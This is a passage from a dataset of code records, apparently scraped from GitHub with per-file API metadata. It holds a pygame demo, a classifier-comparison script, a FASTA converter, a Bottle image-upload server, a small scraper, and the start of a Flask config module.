{"api_name": "websocket.WebSocketApp", "line_number": 462, "usage_type": "call"}, {"api_name": "homeassistant.helpers.entity.Entity", "line_number": 471, "usage_type": "name"}, {"api_name": "time.time", "line_number": 519, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 527, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 548, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 549, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 549, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 549, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 550, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 550, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 550, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 550, "usage_type": "name"}, {"api_name": "time.time", "line_number": 558, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 566, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 584, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 585, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 585, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 585, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 586, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 586, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 586, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 586, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 589, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 594, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 594, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 596, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 604, "usage_type": "call"}, {"api_name": "threading.Thread.start", "line_number": 610, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 610, "usage_type": "attribute"}]} +{"seq_id": "26425688632", "text": "import pygame\nfrom pygame import Surface, Rect\n\nW_WIDTH = 576\nW_HEIGHT = 324\n# Inicializar o módulo pygame\npygame.init()\nprint('setup start')\n# Criando uma window\nwindow: Surface = pygame.display.set_mode(size=(W_WIDTH, W_HEIGHT))\n\n# Carregar imagem e gerar uma superficie\nbg_surf = pygame.image.load('./asset/bg.png').convert_alpha()\nplayer1_surf = pygame.image.load('./asset/player1.png').convert_alpha()\n\n# Obter o retangulo da superficie\nbg_rect: Rect = bg_surf.get_rect(left=0, top=0)\nplayer1_rect: Rect = player1_surf.get_rect(left=100, top=100)\n\n# Desenhar na janela (window)\nwindow.blit(source=bg_surf, dest=(bg_rect))\nwindow.blit(source=player1_surf, dest=(player1_rect))\n# Atualizar a janela\npygame.display.flip()\n\n# Colocar um relogio no jogo\nclock = pygame.time.Clock()\n\n# Carregar som e deixar ela tocando\n\npygame.mixer_music.load('./asset/music1.wav')\npygame.mixer_music.play(-1)\npygame.mixer_music.set_volume(0.1)\n\nprint('setup end')\nprint('loop start')\nwhile True:\n clock.tick(60) # Esse loop esta acontecendo 30x por segundo\n # print(f'{clock.get_fps() :.0f}') # Printar o FPS\n window.blit(source=bg_surf, dest=(bg_rect))\n window.blit(source=player1_surf, dest=(player1_rect))\n pygame.display.flip()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n print('loop end')\n pygame.quit()\n quit()\n\n pressed_key = pygame.key.get_pressed()\n if pressed_key[pygame.K_w]:\n player1_rect.centery -= 1\n if pressed_key[pygame.K_s]:\n player1_rect.centery += 1\n if pressed_key[pygame.K_a]:\n player1_rect.centerx -= 1\n if pressed_key[pygame.K_d]:\n player1_rect.centerx += 1\n", "repo_name": "ricardotoldo96/JogoPython", "sub_path": "teste.py", "file_name": "teste.py", "file_ext": "py", "file_size_in_byte": 1692, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 10, "usage_type": "name"}, {"api_name": "pygame.display.set_mode", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 17, "usage_type": "name"}, {"api_name": "pygame.Rect", "line_number": 18, "usage_type": "name"}, {"api_name": "pygame.display.flip", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.mixer_music.load", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.mixer_music", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.mixer_music.play", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.mixer_music", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.mixer_music.set_volume", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.mixer_music", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.key.get_pressed", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.K_w", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.K_s", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.K_d", "line_number": 56, "usage_type": "attribute"}]} +{"seq_id": "20983401679", "text": "import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.pyplot import figure, plot,xlabel, ylabel, show, subplot, semilogx, title, grid, legend, suptitle, tight_layout, boxplot\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn import model_selection\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom toolbox_02450 import mcnemar\r\n\r\n\r\n#Get Data\r\ndf = pd.read_excel(\"Real estate valuation data set.xlsx\")\r\ndf = df.drop(['No'], axis=1)\r\ncolumns = df.columns\r\nattr = [x[:2] for x in columns]\r\nattr = attr[0:6]\r\nraw_data = np.array(df)\r\nX = raw_data[:, 0:6] \r\nN,M = np.shape(X)\r\nlabels = ['Low Price', 'Medium Price', 'High Price']\r\n#Classify Y\r\nconditions = [\r\n df['Y house price of unit area'] <= 27.7,\r\n (df['Y house price of unit area'] > 27.7) & (df['Y house price of unit area'] <= 46.6),\r\n df['Y house price of unit area'] > 46.6]\r\nlabel = np.select(conditions, labels)\r\nclassdict = dict(zip(labels, [0,1,2]))\r\ny = np.asarray([classdict[value] for value in label])\r\n# Standardizes data matrix so each column has mean 0 and std 1\r\nX = (X - np.ones((N,1))*X.mean(0))/X.std(0)\r\n\r\n\r\n# Set parameters\r\nK1 = 5\r\nK2 = 5\r\nlambda_interval = np.logspace(-3, 2, 20)\r\nL = 20\r\nL_list = np.arange(1,L+1,1)\r\n\r\nCV1 = model_selection.KFold(n_splits = K1, shuffle = True, random_state = 1)\r\nCV2 = model_selection.KFold(n_splits = K2, shuffle = True, random_state = 1)\r\n\r\nerror1_logistic = np.zeros((K1))\r\nerror2_logistic = np.zeros((K2,len(lambda_interval)))\r\nmin_error_logistic = np.zeros(K1)\r\nopt_lambda = np.zeros(K1)\r\n\r\n\r\nerror1_KNN = np.zeros((K1))\r\nerror2_KNN = np.zeros((K2,L))\r\nx_KNN = [0] * K1\r\n\r\nerror_baseline = np.zeros((K1))\r\n\r\nyhat = []\r\ny_true = []\r\nn = 0\r\n\r\nfor train_index1, test_index1 in CV1.split(X):\r\n X_train1 = X[train_index1,:]\r\n y_train1 = y[train_index1]\r\n X_test1 = X[test_index1,:]\r\n y_test1 = y[test_index1]\r\n \r\n i = 0\r\n for train_index2, test_index2 in CV2.split(X_train1):\r\n print('Crossvalidation fold: {0}/{1}'.format(n+1,i+1))\r\n \r\n X_train2 = X[train_index2,:]\r\n y_train2 = y[train_index2]\r\n X_test2 = X[train_index2,:]\r\n y_test2 = y[train_index2]\r\n \r\n #Logistical Regression\r\n for k in range(0,len(lambda_interval)):\r\n mdl = LogisticRegression(penalty='l2',multi_class='ovr', solver='liblinear', C=1/lambda_interval[k] )\r\n mdl.fit(X_train2, y_train2)\r\n y_est_log2 = mdl.predict(X_test2).T\r\n \r\n error2_logistic[i,k] = np.sum(y_est_log2 !=y_test2)/len(y_test2)\r\n \r\n #KNN\r\n for k in range(1,L+1):\r\n knclassifier = KNeighborsClassifier(n_neighbors=k);\r\n knclassifier.fit(X_train2, y_train2);\r\n \r\n y_est_KNN2 = knclassifier.predict(X_test2);\r\n error2_KNN[i,k-1] = np.sum(y_est_KNN2 != y_test2) / len(y_test2)\r\n \r\n i+=1\r\n \r\n #Logistical Regression\r\n min_error_logistic[n] = np.min(error2_logistic.mean(0))\r\n opt_lambda_idx = np.argmin(error2_logistic.mean(0))\r\n opt_lambda[n] = lambda_interval[opt_lambda_idx]\r\n \r\n mdl = LogisticRegression(penalty='l2',multi_class='ovr', solver='liblinear', C=1/lambda_interval[n] )\r\n mdl.fit(X_train1, y_train1)\r\n y_est_log1 = mdl.predict(X_test1).T\r\n \r\n error1_logistic[n] = np.sum(y_est_log1 !=y_test1)/len(y_test1)\r\n \r\n #KNN\r\n min_idx = np.argmin(error2_KNN.mean(0))\r\n x_KNN[n] = L_list[min_idx]\r\n \r\n knclassifier = KNeighborsClassifier(n_neighbors=x_KNN[n]);\r\n knclassifier.fit(X_train1, y_train1);\r\n y_est_KNN1 = knclassifier.predict(X_test1);\r\n error1_KNN[n] = np.sum(y_est_KNN1 != y_test1) / len(y_test1)\r\n \r\n #Baseline\r\n baseline = np.argmax(np.bincount(y_train1))\r\n y_est_base = np.ones((y_test1.shape[0]), dtype = int)*baseline\r\n error_baseline[n] = np.sum(y_est_base != y_test1) / len(y_test1)\r\n \r\n dy = []\r\n dy.append(y_est_base)\r\n dy.append(y_est_KNN1)\r\n dy.append(y_est_log1)\r\n dy = np.stack(dy, axis=1)\r\n yhat.append(dy)\r\n \r\n y_true.append(y_test1)\r\n n+=1\r\n \r\n\r\ny_true = np.concatenate(y_true)\r\nyhat = np.concatenate(yhat)\r\n\r\n\r\nprint('Errors KNN:\\tErrors baseline\\tErrors LOGREG')\r\nfor m in range(K1): \r\n print(' ',np.round(error1_KNN[m],2),'\\t\\t',np.round(error_baseline[m],2),'\\t\\t',np.round(error1_logistic[m],2))\r\n\r\n\r\n\r\nfig = plt.figure()\r\nplt.plot(L_list,error2_KNN.mean(0)*100,'-o')\r\nplt.xlabel('Number of neighbors')\r\nplt.ylabel('Classification error rate (%)')\r\nplt.savefig('KNN.png',dpi=300, bbox_inches='tight')\r\n\r\nfig = plt.figure()\r\nplt.semilogx(lambda_interval, error2_logistic.mean(0)*100,'-or')\r\nplt.xlabel('Regularization strength, $\\log_{10}(\\lambda)$')\r\nplt.ylabel('Classification error rate (%)')\r\nplt.savefig('Logtistic Regression.png',dpi=300, bbox_inches='tight')\r\n\r\n\r\nfig= plt.figure()\r\nboxes = [error1_logistic, error1_KNN,error_baseline]\r\nboxes_df = pd.DataFrame(boxes).T\r\nx = [1,2,3]\r\nlabels = ['Logistic Regression','KNN', 'Baseline']\r\nplt.boxplot(boxes_df)\r\nylabel('Generalization Error')\r\nplt.xticks(x,labels)\r\nplt.savefig('boxplot_classification.png',dpi=300, bbox_inches='tight') \r\n\r\n\r\nalpha = 0.05\r\n\r\nprint('A : Baseline\\nB : KNN')\r\n[thetahat, CI, p] = mcnemar(y_true, yhat[:,0], yhat[:,1], alpha=alpha)\r\nprint('theta: ',np.round(thetahat,2),' CI: ',np.round(CI,2),' p: ',np.round(p,3))\r\nprint('\\n')\r\nprint('A : Baseline\\nB : Logistical Regression')\r\n[thetahat, CI, p] = mcnemar(y_true, yhat[:,0], yhat[:,2], alpha=alpha)\r\nprint('theta: ',np.round(thetahat,2),' CI: ',np.round(CI,2),' p: ',np.round(p,3))\r\nprint('\\n')\r\nprint('A : KNN\\nB : Logistical Regression')\r\n[thetahat, CI, p] = mcnemar(y_true, yhat[:,1], yhat[:,2], alpha=alpha)\r\nprint('theta: ',np.round(thetahat,2),' CI: ',np.round(CI,2),' p: ',np.round(p,3))\r\n\r\n\r\n\r\n", "repo_name": "Myun-GitHub/DTU_02450_Machine-learning-and-data-mining", "sub_path": "classification.py", "file_name": "classification.py", "file_ext": "py", "file_size_in_byte": 5839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_excel", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.select", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.logspace", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 40, "usage_type": "name"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 41, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 94, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogx", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.boxplot", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "toolbox_02450.mcnemar", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 166, "usage_type": "call"}, {"api_name": "toolbox_02450.mcnemar", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 170, "usage_type": "call"}, {"api_name": "toolbox_02450.mcnemar", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 174, "usage_type": "call"}]} +{"seq_id": "270264401", "text": "import sys, re, csv, codecs\nfrom Bio import SeqIO\n\ninput_file_name = sys.argv[1] # data/input.fasta\noutput_file_name = sys.argv[2] # data/output.txt\n\n\nwith codecs.open(input_file_name, 'r', encoding='utf-8', errors='ignore') as f:\n output_list = []\n for record in SeqIO.parse(f, 'fasta'):\n output_list.append(str(record.seq))\n\nwith open(output_file_name, \"w\", encoding='utf-8') as file:\n for s in output_list:\n file.write(\"%s\\n\" % s.lower())", "repo_name": "qwu01/transformers_LM", "sub_path": "data/fa2txt.py", "file_name": "fa2txt.py", "file_ext": "py", "file_size_in_byte": 464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 5, "usage_type": "attribute"}, {"api_name": "codecs.open", "line_number": 8, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 10, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "74070610889", "text": "__version__ = '1.1'\n\nimport os\nimport random\nimport string\n\nfrom bottle import default_app as app\nfrom bottle import run, get, post, request, response, error, template, static_file\n\n\nconfig = app().config.load_config('./imgs.ini')\n\ndef generate_image_name(image: str) -> str:\n name = ''\n chars = string.ascii_letters + string.digits + '-_'\n while len(name) <= int(config['imgs.image_name_lenght']) - 1:\n name = name + random.choice(chars)\n return name + os.path.splitext(image)[1].lower()\n\ndef get_base_url():\n try:\n base_url = config['imgs.base_url']\n except KeyError:\n base_url = request.url\n return base_url\n\ndef get_image_url(image_name: str) -> str:\n image_url = get_base_url() + '/' + image_name\n return image_url.replace('//', '/').replace(':/', '://')\n\ndef upload_file(file):\n image_name = generate_image_name(file.filename)\n file.save(os.path.join(config['imgs.uploads_dir'], image_name))\n return image_name\n\n@error(404)\ndef error404(error):\n return template('index.tpl',\n uploaded = False, not_found = True, bad_mime_type = False,\n base_url = get_base_url())\n\n@get('/')\ndef index():\n return template('index.tpl',\n uploaded = False, not_found = False, bad_mime_type = False,\n base_url = get_base_url())\n\n@post('/')\ndef upload_image():\n # Handle request from CLI\n if request.files.get('image'):\n file = request.files.get('image')\n rq = 'cli'\n # Handle request from web-browser\n elif request.files.get('image_web'):\n file = request.files.get('image_web')\n rq = 'web'\n\n if config['imgs.allowed_mime_types'] == '*':\n # Skip MIME checking.\n image_name = upload_file(file)\n else:\n if file.content_type in config['imgs.allowed_mime_types']:\n # Upload file!\n image_name = upload_file(file)\n else:\n # Show MIME type error!\n # Prevent recource leek. Force close buffered file\n request.body.close()\n response.status = 415\n if rq == 'cli':\n return 'Error: bad file MIME type\\n'\n else:\n return template('index.tpl',\n uploaded = False, not_found = False, bad_mime_type = True,\n allowed_mime_types = config['imgs.allowed_mime_types'],\n base_url = get_base_url(), image_url = 'None')\n # Return 200 OK\n if rq == 'cli':\n return get_image_url(image_name) + '\\n'\n else:\n return template('index.tpl',\n uploaded = True, not_found = False, bad_mime_type = False,\n base_url = get_base_url(), image_url = get_image_url(image_name))\n\n@get('/')\ndef send_image(image_name):\n return static_file(image_name, root = config['imgs.uploads_dir'])\n\n@get('/style.css')\ndef send_style():\n return static_file('style.css', root = './')\n\napp = app() # Create WSGI application\n\nif __name__ == '__main__':\n run()\n", "repo_name": "gechandesu/imgs", "sub_path": "imgs.py", "file_name": "imgs.py", "file_ext": "py", "file_size_in_byte": 2987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "16", "api": [{"api_name": "bottle.default_app", "line_number": 11, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 15, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 15, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "bottle.request.url", "line_number": 24, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 24, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "bottle.template", "line_number": 38, "usage_type": "call"}, {"api_name": "bottle.error", "line_number": 36, "usage_type": "call"}, {"api_name": "bottle.template", "line_number": 44, "usage_type": "call"}, {"api_name": "bottle.get", "line_number": 42, "usage_type": "call"}, {"api_name": "bottle.request.files.get", "line_number": 51, "usage_type": "call"}, {"api_name": "bottle.request.files", "line_number": 51, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 51, "usage_type": "name"}, {"api_name": "bottle.request.files.get", "line_number": 52, "usage_type": "call"}, {"api_name": "bottle.request.files", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 52, "usage_type": "name"}, {"api_name": "bottle.request.files.get", "line_number": 55, "usage_type": "call"}, {"api_name": "bottle.request.files", "line_number": 55, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 55, "usage_type": "name"}, {"api_name": "bottle.request.files.get", "line_number": 56, "usage_type": "call"}, {"api_name": "bottle.request.files", "line_number": 56, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 56, "usage_type": "name"}, {"api_name": "bottle.request.body.close", "line_number": 69, "usage_type": "call"}, {"api_name": "bottle.request.body", "line_number": 69, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 69, "usage_type": "name"}, {"api_name": "bottle.response.status", "line_number": 70, "usage_type": "attribute"}, {"api_name": "bottle.response", "line_number": 70, "usage_type": "name"}, {"api_name": "bottle.template", "line_number": 74, "usage_type": "call"}, {"api_name": "bottle.template", "line_number": 82, "usage_type": "call"}, {"api_name": "bottle.post", "line_number": 48, "usage_type": "call"}, {"api_name": "bottle.static_file", "line_number": 88, "usage_type": "call"}, {"api_name": "bottle.get", "line_number": 86, "usage_type": "call"}, {"api_name": "bottle.static_file", "line_number": 92, "usage_type": "call"}, {"api_name": "bottle.get", "line_number": 90, "usage_type": "call"}, {"api_name": "bottle.default_app", "line_number": 94, "usage_type": "name"}, {"api_name": "bottle.run", "line_number": 97, "usage_type": "call"}]} +{"seq_id": "10932297293", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport requests\nfrom lxml import etree\n\n# URL = 'http://yunqi.qq.com/bk/so2/n10p1'\n\n# # print(requests.get(URL).text)\n# content = requests.get(URL).text\n# mytree = etree.HTML(content)\n\n# book_info = mytree.xpath('//div[@class=\"book\"]/div[@class=\"book_info\"]')\n# for line in book_info:\n# title = line.xpath('.//h3//text()')[-1]\n# # print(title)\n# url = line.xpath('./h3/a/@href')[-1]\n# print(url)\n\nURL = 'http://yunqi.qq.com/bk/xhyq/21085455.html'\ncontent = requests.get(URL).text\nmytree = etree.HTML(content)\n\ntitle = mytree.xpath('//div[@class=\"title\"]/strong/a/text()')[-1]\n# print(title)\ntags = mytree.xpath('//div[@class=\"tags\"]/text()')[0].strip()\n# print(tags)\ninfo = mytree.xpath('//div[@class=\"info\"]//p/text()')\nprint(info)\n", "repo_name": "pipoted/spider2", "sub_path": "getpage.py", "file_name": "getpage.py", "file_ext": "py", "file_size_in_byte": 794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 22, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 22, "usage_type": "name"}]} +{"seq_id": "24378353843", "text": "from distutils.dir_util import copy_tree\nfrom os import environ\nfrom pathlib import Path\nfrom pprint import pformat\nfrom shutil import rmtree as rm_tree\n\nfrom flask import Config as FlaskConfig\n\nfrom munch import Munch\n\nfrom werkzeug.middleware.proxy_fix import ProxyFix\n\nfrom yaml import safe_load as load\n\nfrom . import __root_path, dt, join\nfrom .util import X, flatten\n\n\nclass Config(Munch, FlaskConfig):\n '''\n A :class:`~flask.Config` wrapped in :class:`~junior.util.X`.\n '''\n\n def __repr__(self):\n\n return f'Config(\\n{pformat(self.__dict__, 2)}\\n)'\n\n\n#: Our :class:`Application` environment variables.\n#: :attr:`env` is passed to :class:`~junior.Application` ``.config``.\nenv = X()\n\n#: Our configuration options.\nconfig = X()\n\n#: Our vendor options.\nvendor = X()\n\n#: Our :class:`~flask_babel.Babel` options.\nbabel = X()\n\n#: Our `PostCSS `_ options.\npostcss = X()\n\n#: Our default :attr:`env`.\ndefaults = X(\n alembic={},\n auth_factor=10,\n cache_timeout=60,\n cache_path='.cache',\n cache_type='FileSystemCache',\n components_path='components',\n config_path='config',\n database_url=None,\n flask_debug=False,\n flask_env='production',\n migrations_path='migrations',\n proxy_count=0,\n secret_key=None,\n sqlalchemy_track_modifications=False,\n static_path='static',\n static_timeout=2592000,\n scripts_path='scripts',\n styles_path='styles',\n templates_expressions_close='|}',\n templates_expressions_open='{|',\n templates_path='templates',\n tasks_serializer='json'\n)\n\n\nenv.config_path = environ.get('config_path', defaults.config_path)\n\n\nwith open(join(__root_path, 'config', 'babel.yaml')) as file:\n\n babel = X(load(file.read()))\n\ntry:\n with open(join(env.config_path, 'babel.yaml')) as file:\n\n babel.update(load(file.read()))\n\nexcept (OSError, TypeError):\n pass\n\n\nwith open(join(__root_path, 'config', 'postcss.yaml')) as file:\n\n postcss = X(load(file.read()))\n\ntry:\n with open(join(env.config_path, 'postcss.yaml')) as file:\n\n postcss.update(load(file.read()))\n\nexcept (OSError, TypeError):\n pass\n\n\ntry:\n with open(join(env.config_path, 'app.yaml')) as file:\n\n config.update(X(load(file.read())))\n\nexcept (OSError, TypeError):\n pass\n\n\ntry:\n with open(join(env.config_path, 'env.yaml')) as file:\n\n env.update(flatten(load(file.read())))\n\nexcept (OSError, TypeError):\n pass\n\n\ntry:\n with open(join(env.config_path, 'vendor.yaml')) as file:\n\n vendor.update(X(load(file.read())))\n\nexcept (OSError, TypeError):\n pass\n\n\nif 'cache_dir' not in env:\n env.cache_dir = environ.get('cache_dir', env.cache_path)\n if env.cache_dir is None:\n env.cache_dir = defaults['cache_path']\n\nif 'cache_path' not in env:\n env.cache_path = env.cache_dir\n\n\nif 'cache_default_timeout' not in env:\n env.cache_default_timeout = environ.get('cache_default_timeout',\n env.cache_timeout)\n if env.cache_default_timeout is None:\n env.cache_default_timeout = defaults['cache_timeout']\n\nif 'cache_timeout' not in env:\n env.cache_timeout = env.cache_default_timeout\n\n\nif 'flask_debug' in env:\n env.debug = env.flask_debug\n\nif env.debug:\n environ['FLASK_DEBUG'] = 'True'\n\n\nif 'flask_env' in env:\n env.env = env.flask_env\n\n\nif 'sqlalchemy_database_uri' not in env:\n env.sqlalchemy_database_uri = environ.get('sqlalchemy_database_uri',\n env.database_uri)\n\n if env.sqlalchemy_database_uri is None:\n env.sqlalchemy_database_uri = environ.get('database_uri',\n env.database_url)\n\nif 'database_url' not in env:\n\n if 'sqlalchemy_database_uri' not in env:\n 